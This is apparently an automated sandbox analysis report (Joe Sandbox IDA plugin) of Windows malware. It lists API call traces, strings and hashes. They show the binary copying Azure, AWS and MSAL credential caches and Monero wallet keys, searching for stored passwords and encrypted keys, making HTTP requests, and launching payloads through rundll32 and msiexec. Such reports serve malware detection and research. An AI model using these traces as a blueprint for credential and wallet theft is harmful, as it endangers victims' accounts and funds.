lstrcat.KERNEL32(?,\.azure\), ref: 00FC4DCD

Part of subcall function 00FC4910: wsprintfA.USER32 ref: 00FC492C
Part of subcall function 00FC4910: FindFirstFileA.KERNEL32(?,?), ref: 00FC4943

lstrcat.KERNEL32(?,00000000), ref: 00FC4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00FC4E59

Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD0FDC), ref: 00FC4971
Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD0FE0), ref: 00FC4987
Part of subcall function 00FC4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00FC4B7D
Part of subcall function 00FC4910: FindClose.KERNEL32(000000FF), ref: 00FC4B92

lstrcat.KERNEL32(?,00000000), ref: 00FC4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00FC4EE5

Part of subcall function 00FC4910: wsprintfA.USER32 ref: 00FC49B0
Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD08D2), ref: 00FC49C5
Part of subcall function 00FC4910: wsprintfA.USER32 ref: 00FC49E2
Part of subcall function 00FC4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00FC4A1E
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,00DEE9F8), ref: 00FC4A4A
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,00FD0FF8), ref: 00FC4A5C
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,?), ref: 00FC4A70
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,00FD0FFC), ref: 00FC4A82
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,?), ref: 00FC4A96
Part of subcall function 00FC4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00FC4AAC
Part of subcall function 00FC4910: DeleteFileA.KERNEL32(?), ref: 00FC4B31

Strings

Azure\.aws, xrefs: 00FC4E5F
\.azure\, xrefs: 00FC4DC1
msal.cache, xrefs: 00FC4EF0
*.*, xrefs: 00FC4E64
\.IdentityService\, xrefs: 00FC4ED9
\.aws\, xrefs: 00FC4E4D
*.*, xrefs: 00FC4DD8
Azure\.IdentityService, xrefs: 00FC4EEB
Azure\.azure, xrefs: 00FC4DD3

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 2bf25a91b5e3e1ce9392a953f75ac209d515d51985090d533d92e057e3e0da3c
Instruction ID: f4ea907e1507a88e9f5b0c447088ffbbbe6a6a6aae349f495be3c230cacd900b
Opcode Fuzzy Hash: 2bf25a91b5e3e1ce9392a953f75ac209d515d51985090d533d92e057e3e0da3c
Instruction Fuzzy Hash: 1941EB7994020867C764F770ED5BFED3738AB64700F0444587249961C1EEB8ABC9EB92

Function 00FC9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00FC906C

Strings

image/jpeg, xrefs: 00FC9136

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: c54b3dde8ed9217351eed551a71ac5d2787b06a25da1d0a895712c40ce02fd7f
Instruction ID: 00f5102f3e764b9dbdea188c04960e34b79214f6fb693fecbd2e699a7174e1bc
Opcode Fuzzy Hash: c54b3dde8ed9217351eed551a71ac5d2787b06a25da1d0a895712c40ce02fd7f
Instruction Fuzzy Hash: 2D711075900209ABCB18DFE4ED89FEDB7B8BF48700F14811CF519A7284DB79A945DB60

Function 00FC2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

ShellExecuteEx.SHELL32(0000003C), ref: 00FC31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00FC335D
ShellExecuteEx.SHELL32(0000003C), ref: 00FC34EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00FC3332
"" , xrefs: 00FC309A
C:\Windows\system32\msiexec.exe, xrefs: 00FC34BF
<, xrefs: 00FC3490
.msi, xrefs: 00FC3398
.dll, xrefs: 00FC31E5
/passive, xrefs: 00FC345B
/i ", xrefs: 00FC33E4

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8016780d16bf68d3e6c3095108ad8a20efde23346f0c7f3f151311b5fb0b9352
Instruction ID: 375b9023a76a356227f38f3f06603f758557a65a40eca00d8c1783ade78a543a
Opcode Fuzzy Hash: 8016780d16bf68d3e6c3095108ad8a20efde23346f0c7f3f151311b5fb0b9352
Instruction Fuzzy Hash: A312FB7180010D9BDB19EBA0DE93FEDB738AF14304F54415DE50666191EF387B4AEBA2

Function 00FC52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB6280: InternetOpenA.WININET(00FD0DFE,00000001,00000000,00000000,00000000), ref: 00FB62E1
Part of subcall function 00FB6280: StrCmpCA.SHLWAPI(?,00DEEA08), ref: 00FB6303
Part of subcall function 00FB6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB6335
Part of subcall function 00FB6280: HttpOpenRequestA.WININET(00000000,GET,?,00DEE100,00000000,00000000,00400100,00000000), ref: 00FB6385
Part of subcall function 00FB6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FB63BF
Part of subcall function 00FB6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FB63D1

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC5318
lstrlen.KERNEL32(00000000), ref: 00FC532F

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00FC5364
lstrlen.KERNEL32(00000000), ref: 00FC5383
lstrlen.KERNEL32(00000000), ref: 00FC53AE

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Strings

ERROR, xrefs: 00FC546F
ERROR, xrefs: 00FC53B9
ERROR, xrefs: 00FC530A
ERROR, xrefs: 00FC54A9
ERROR, xrefs: 00FC5432

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 7f2a140c8daa57cfa41021b626bcc2ad1bc507e623a454ba8e8bb4c5336e54c7
Instruction ID: 916985af4f851f57bad840034065e2fad83108bb4a1068ed6c4fdeb4a3c9de49
Opcode Fuzzy Hash: 7f2a140c8daa57cfa41021b626bcc2ad1bc507e623a454ba8e8bb4c5336e54c7
Instruction Fuzzy Hash: 7051B63091014AABCB18EF64DE97FED7779AF50304F50402CE40A5A592EF387A46EB62

Function 00FC12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: e82294908e89de7cc2de71234cf7d88b614ab8dca0f3e74afe3473533aeaa9ff
Instruction ID: d2313abcbd82d37457e8b96582c3919d40ef69876f4e332392f42e1d5430c5cc
Opcode Fuzzy Hash: e82294908e89de7cc2de71234cf7d88b614ab8dca0f3e74afe3473533aeaa9ff
Instruction Fuzzy Hash: 1FC195B590011E9BCB18EF60DD8AFEA7378BF54304F00459CF11EA7181EA78AA95DF91

Function 00FC4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FC42EC
lstrcat.KERNEL32(?,00DEE028), ref: 00FC430B
lstrcat.KERNEL32(?,?), ref: 00FC431F
lstrcat.KERNEL32(?,00DEDF80), ref: 00FC4333

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FC8D90: GetFileAttributesA.KERNEL32(00000000,?,00FB1B54,?,?,00FD564C,?,?,00FD0E1F), ref: 00FC8D9F

Part of subcall function 00FB9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FB9D39

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Part of subcall function 00FC93C0: GlobalAlloc.KERNEL32(00000000,00FC43DD,00FC43DD), ref: 00FC93D3

StrStrA.SHLWAPI(?,00DEE1C0), ref: 00FC43F3
GlobalFree.KERNEL32(?), ref: 00FC4512

Part of subcall function 00FB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9AEF
Part of subcall function 00FB9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B01
Part of subcall function 00FB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9B2A
Part of subcall function 00FB9AC0: LocalFree.KERNEL32(?,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B3F

lstrcat.KERNEL32(?,00000000), ref: 00FC44A3
StrCmpCA.SHLWAPI(?,00FD08D1), ref: 00FC44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00FC44D2
lstrcat.KERNEL32(00000000,?), ref: 00FC44E5
lstrcat.KERNEL32(00000000,00FD0FB8), ref: 00FC44F4

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 8ff9fe050b2d506af0dd39db714c375eba17191fd9819b7c37d33911ceeb3399
Instruction ID: 4907c561ce0da1e35de1b0cfd3b0d7698929122674a4df419e9315d7da7df9c7
Opcode Fuzzy Hash: 8ff9fe050b2d506af0dd39db714c375eba17191fd9819b7c37d33911ceeb3399
Instruction Fuzzy Hash: 42719672900209ABCB14EBA0DD8AFEE7779BF48300F04459CF61997181DA78EB45DF91

Function 00FB1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB12B4
Part of subcall function 00FB12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00FB12BB
Part of subcall function 00FB12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00FB12D7
Part of subcall function 00FB12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FB12F5
Part of subcall function 00FB12A0: RegCloseKey.ADVAPI32(?), ref: 00FB12FF

lstrcat.KERNEL32(?,00000000), ref: 00FB134F
lstrlen.KERNEL32(?), ref: 00FB135C
lstrcat.KERNEL32(?,.keys), ref: 00FB1377

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00DED7F0,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00FB1465

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

DeleteFileA.KERNEL32(00000000), ref: 00FB14EF

Strings

.keys, xrefs: 00FB136B
SOFTWARE\monero-project\monero-core, xrefs: 00FB1335
wallet_path, xrefs: 00FB1330
\Monero\wallet.keys, xrefs: 00FB138D

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: ad2eeb8f93a7e587542b84b912d6fe82616896c8632e6107816001cc863e58ed
Instruction ID: 499ee8814e70509b2a5940584f15635a72e64ca4d3d89a95198321dce63f5a38
Opcode Fuzzy Hash: ad2eeb8f93a7e587542b84b912d6fe82616896c8632e6107816001cc863e58ed
Instruction Fuzzy Hash: BB5111B195011D97CB29EB60DD97FED733CAF54304F4041ACB60AA2081EE786B85DFA6

Function 00FB75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00FB733A
Part of subcall function 00FB72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FB73B1
Part of subcall function 00FB72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FB740D
Part of subcall function 00FB72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00FB7452
Part of subcall function 00FB72D0: HeapFree.KERNEL32(00000000), ref: 00FB7459

lstrcat.KERNEL32(00000000,00FD17FC), ref: 00FB7606
lstrcat.KERNEL32(00000000,00000000), ref: 00FB7648
lstrcat.KERNEL32(00000000, : ), ref: 00FB765A
lstrcat.KERNEL32(00000000,00000000), ref: 00FB768F
lstrcat.KERNEL32(00000000,00FD1804), ref: 00FB76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00FB76D3
lstrcat.KERNEL32(00000000,00FD1808), ref: 00FB76ED
task.LIBCPMTD ref: 00FB76FB

Strings

: , xrefs: 00FB764E

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: f420b6868061665dc96a231e4c55222be55dc5061dd36fa8fb35b1242e02ea1c
Instruction ID: f0b4de491e221acd154f78deed544f5998dc977d2c433e1d6aa6f217fe8e3746
Opcode Fuzzy Hash: f420b6868061665dc96a231e4c55222be55dc5061dd36fa8fb35b1242e02ea1c
Instruction Fuzzy Hash: D7314DB2900209DBCB18EBA5EC85DEE7779BF84301F14412CE116A7284DA38A986EF51

Function 00FC8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

